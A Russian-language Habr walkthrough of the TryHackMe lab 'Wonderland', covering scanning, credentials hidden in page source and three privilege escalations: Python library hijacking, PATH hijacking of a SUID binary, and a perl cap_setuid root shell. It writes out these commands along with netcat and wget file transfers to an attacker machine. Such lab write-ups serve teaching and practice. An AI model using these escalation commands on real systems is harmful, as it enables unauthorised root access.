[THM] [Medium] Wonderland

Это руководство описывает процесс прохождения стенда «Wonderland» на платформе TryHackMe. Мы будем исследовать различные этапы, включая сканирование, эксплуатацию уязвимостей и повышение привилегий. Следуя за Белым Кроликом, мы сможем погрузиться в мир Wonderland и добиться получения root-доступа к целевой машине.

Разведка

Этап разведки был опущен, так как на исходном сайте не было обнаружено ничего примечательного. Перейдем сразу к этапу сканирования.

Сканирование

1. NMAP

Для сканирования сети и выявления открытых портов и служб был использован инструмент NMAP. Он позволяет получить информацию о версиях сервисов и их конфигурации.

Используем команду:

nmap -sC -sV target_ip

Пояснение флагов:

  • sC: Этот флаг запускает скрипты Nmap, эквивалентные параметру --script=default. Скрипты по умолчанию включают проверки на распространенные уязвимости и сбор информации.

  • sV: Данный флаг активирует определение версий служб. Nmap попытается определить версии служб, запущенных на открытых портах.

Результаты сканирования:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 18:39 MSK
Nmap scan report for target_ip
Host is up (0.066s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
|   256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
|_  256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.94 seconds

Сканирование показало наличие SSH сервера на порту 22 и веб-сервера на порту 80.

5b29321bda1e2254cc3e8a2624b8c87f.png

Для поиска скрытых директорий и файлов на веб-сервере был использован DirBuster.

dirbuster -u http://target_ip /usr/share/wordlists/dirb/big.txt

Запустим сканирование директорий на сайте. Заметим необычный результат сканирования:

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing

Dir found: / - 200
Dir found: /img/ - 200
Dir found: /r/ - 200
Dir found: /r/a/ - 200
Dir found: /r/a/b/ - 200
Dir found: /r/a/b/b/ - 200
Dir found: /r/a/b/b/i/ - 200
Dir found: /r/a/b/b/i/t/ - 200

Перейдем по ссылкам:

e6efcca093888be40e5e18246f07e622.png5342e0a074f8559d5ddbbc2316da5a17.png

и тд…

В описании стенда было сказано следовать за кроликом, поэтому мы продолжаем исследование директорий вплоть до /r/a/b/b/i/t/. Изучив исходный код страницы, мы обнаружили скрытое сообщение:




    Enter wonderland
    



    

Open the door and enter wonderland

"Oh, you’re sure to do that," said the Cat, "if you only walk long enough."

Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"

"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving the other paw, "lives a March Hare. Visit either you like: they’re both mad."

alice:HowDothTheLittleCrocodileImproveHisShiningTail

Помимо цитаты из сказки, можно заметить подсказку alice:HowDothTheLittleCrocodileImproveHisShiningTail

Эти данные напоминают учетные данные для доступа через SSH.

Получение доступа

Используем найденные учетные данные для входа на целевую машину через SSH ssh alice@target_ip

alice@wonderland:~$ # Получаем доступ к хосту!!!!

После входа на целевую машину под пользователем alice, первым шагом будет исследование системы на наличие интересных файлов и директорий.

drwxr-xr-x 5 alice alice 4096 May 25  2020 .
drwxr-xr-x 6 root  root  4096 May 25  2020 ..
lrwxrwxrwx 1 root  root     9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice  220 May 25  2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25  2020 .bashrc
drwx------ 2 alice alice 4096 May 25  2020 .cache
drwx------ 3 alice alice 4096 May 25  2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25  2020 .local
-rw-r--r-- 1 alice alice  807 May 25  2020 .profile
-rw------- 1 root  root    66 May 25  2020 root.txt
-rw-r--r-- 1 root  root  3577 May 25  2020 walrus_and_the_carpenter.py

Мы обнаружили два интересных файла:

Обратим внимание на владельца файлов — это root, при этом для файла root.txt правами даже на чтение обладает только сам владелец, а вот второй файл прочитать может кто угодно.

Возможно тут стоит устроить небольшой ликбез про CHMOD (вот этот набор символов в начале каждой строки).

Данная аббревиатура обозначает набор прав, которыми обладает тот или иной пользователь при взаимодействии с файлом. Всего существует три возможных действия:

  • execute: 1

  • write: 2

  • read: 4

Складывая числа можно установить какие права есть на файл. К примеру 1 + 2 = 3 — права на исполнение и запись. При этом права на файл определяются для трех групп пользователей

  • USER

  • USER GROUP

  • OTHER

Для каждой высчитываются привилегии и права на файл записываются в виде трехзначного числа, к примеру 755

  • USER 7 = 1 + 2 + 4 (execute + write + read)

  • USER GROUP 5 = 1 + 4 (execute + read)

  • OTHER 5 = 1 + 4 (execute + read)

Так же данные права могут быть записаны в ввиде аббревиатуры

Возвращаемся к прохождению, файл walrus_and_the_carpenter.py имеет права -rw-r--r-- нам интересна последняя часть r-- это обозначает что все из OTHER могут прочесть файл. Однако, поскольку владельцем папки в которой мы находимся является alice мы можем исполнить файл используя python интерпретатор.

Выполним команду cat walrus_and_the_carpenter.py

import random
poem = """The sun was shining on the sea,
Shining with all his might:
.
. POEM TEXT
.
And that was scarcely odd, because
They’d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

Файл выбирает рандомные строки из поэмы и выводит их.

Чтож. Продолжаем поиски, перейдем в home директорию и посмотрим, что еще там лежит.

>> ls -la ..
total 24
drwxr-xr-x  6 root      root      4096 May 25  2020 .
drwxr-xr-x 23 root      root      4096 May 25  2020 ..
drwxr-xr-x  5 alice     alice     4096 May 25  2020 alice
drwxr-x---  3 hatter    hatter    4096 May 25  2020 hatter
drwxr-x---  2 rabbit    rabbit    4096 May 25  2020 rabbit
drwxr-x---  6 tryhackme tryhackme 4096 May 25  2020 tryhackme

Как видим, довольно много интересного, и нам бы стоило посмотреть содержимое всех директорий, однако у нас нет прав ((

Эскалация привелегий alice > rabbit

На данном шаге стоит посмотреть какие возможности есть у нашей alice

>> sudo -l -U alice
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Как можно заметить, мы можем запустить тот скрипт walrus_and_the_carpenter.py от имени пользователя rabbit. В целом мы нашли вектор для дальнейших действий.

Поскольку мы можем заставить выполнить скрипт от имени rabbit значит надо как-то подсунуть в скрипт код выполняющий необходимые нам действия. Обратим внимание, что в скрипте имеется импорт библиотеки random, библиотека подтягивается из определенной директории на хосте.

Посмотрим откуда берутся данные файлы:

>> python3 -c 'import sys; print (sys.path)'
['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']

В целом вывод выглядит стандартно, однако первый в списке путей идет локальная папка.

Что если мы подсунем файл random.py в директорию откуда запускаем скрипт?

import os
os.system("/bin/bash")

Тем самым запустим bash оболочку от имени rabbit.

Эскалация привилегий rabbit > hatter

Вернемся к директории этого пользователя, в нем мы видим бинарный файл teaParty

>> ls -la rabbit/
total 40
drwxr-x--- 2 rabbit rabbit  4096 May 25  2020 .
drwxr-xr-x 6 root   root    4096 May 25  2020 ..
lrwxrwxrwx 1 root   root       9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25  2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit  3771 May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25  2020 .profile
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty

Используя утилиту netcat перекинем себе локально этот файл.

На локальной машине

nc -lvnp 7777 > teaParty

На хосте

nc host-ip 7777 < teaParty

Для декомпилирования используем ghidra. Для меня это вновинку и раньше я не работал с этим инструментом, но почитав пару гайдов, я смог разобраться. Декомпилировав файл teaParty, нас встречает окно ghidra. Для тех для кого ghidra так же был вновинку коротко распишу где что:

  1. В центральной панели находится дизассемблированный двоичный файл

  2. Справа от центрального окна, находится декомпилированное представление функции, обнаруженной в бинарнике (пока не выберем нужную нам функцию окно будет пустым)

  3. Слева во вкладке Symbol tree находятся найденные в бинарнике символы

85cbd400fc65d84c68a91d4f1abceddc.png

В нашем случае нас интересует вкладка Functions в Symbol tree. Выберем ее и перейдем в Decompile

44c52903fc3d15ee033eea4031903a06.png

Обратим внимание на выделенную строчку, в ней программа выводит date + 1. При этом date хранится в /bin/date. История похожа на то, что мы делали когда, подменяли библиотеку random своим скриптом, только теперь нам надо подменить date в bin чтобы программа наш код. Вернемся на атакуемый хост. Создать свой файл date в директории bin задача затруднительная (в целом невыполнимая, нам привилегий не хватает на это). В целом это можно обойти выбрав директорию в которой у нас достаточно прав, чтобы создать файл и указать ее в переменной PATH export PATH=/tmp:$PATH перед bin в таком случае, при выполнении команды вредоносный файл будет найден раньше настоящего. В поисках директории в которой можно это провернуть, перейдем в корневую директорию машины, и единственным вариантом будет tmp/, там и создадим наш date. Скрипт практически идентичен предыдущему. (Не забудьте сделать его исполняемым)

#!/bin/bash
/bin/bash

Снова запустим скрипт teaParty.

>> ./teaParty 
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$ 

Эскалация hatter > root

Как видим, все прошло успешно и теперь мы действуем от лица hatter. Посмотрим что в его директории.

drwxr-x--- 3 hatter hatter 4096 May 25  2020 .
drwxr-xr-x 6 root   root   4096 May 25  2020 ..
lrwxrwxrwx 1 root   root      9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 hatter hatter  220 May 25  2020 .bash_logout
-rw-r--r-- 1 hatter hatter 3771 May 25  2020 .bashrc
drwxrwxr-x 3 hatter hatter 4096 May 25  2020 .local
-rw-r--r-- 1 hatter hatter  807 May 25  2020 .profile
-rw------- 1 hatter hatter   29 May 25  2020 password.txt

Конечно же нас интересует файл password.txt.

cat password.txt 
WhyIsARavenLikeAWritingDesk?

Чтож теперь настола время для LinEnum или подобных инструментов для автоматизированного поиска небезопасных настроек на Unix подобных системах. Ранее я использовал netcat для трансфера файлов, теперь для разнообразия предлагаю поднять http сервер.

На нашей машине используем команду python3 -m http.server, а на атакуемом хосте используем wget wget http://host-ip:8000/LinEnum.sh А после запустим его и посмотрим на вывод

./LinEnum.sh 

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################

# www.rebootuser.com
# version 0.982

[-] Debug Info
[+] Thorough tests = Disabled

Scan started at:
...

Получилось довольно забавно, добавив date из tmp мы сломали возможность LinEnum отобразить время старта сканирования, чтож, удалим уже ненужный файл и перезапустим LinEnum. Вывод будет довольно большим и я советую покапаться и посмотреть какую информацию о системе выдал данный скрипт.

Изучая вывод можно заметить группу:

[+] Files with POSIX capabilities set:
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

POSIX capabilities — это механизм в Unix-подобных операционных системах, позволяющий делегировать определённые привилегированные действия, обычно зарезервированные для суперпользователя (root), обычным пользователям или процессам.

Теперь воспользуемся сайтом gtfobins. Цитата:

«If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.»

Этим и воспользуемся, выберем необходимый пейлоад для perl и запустим.

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Результат наших действий:

# whoami
root
# 

Теперь выведем alice/root.txt

cat alice/root.txt 
thm{***}

Наверное у вас возник вопрос, а где же флаг обычного пользователя. Чтож, как минимум у меня такой вопрос возник, посидев еще минут 30 я все таки решил проверить root директорию и забавно, но флаг находится именно там).

Спасибо, что дочитали до этого момента!) Это моя первая статья на Habr и я буду очень рад любому фидбеку!

© Habrahabr.ru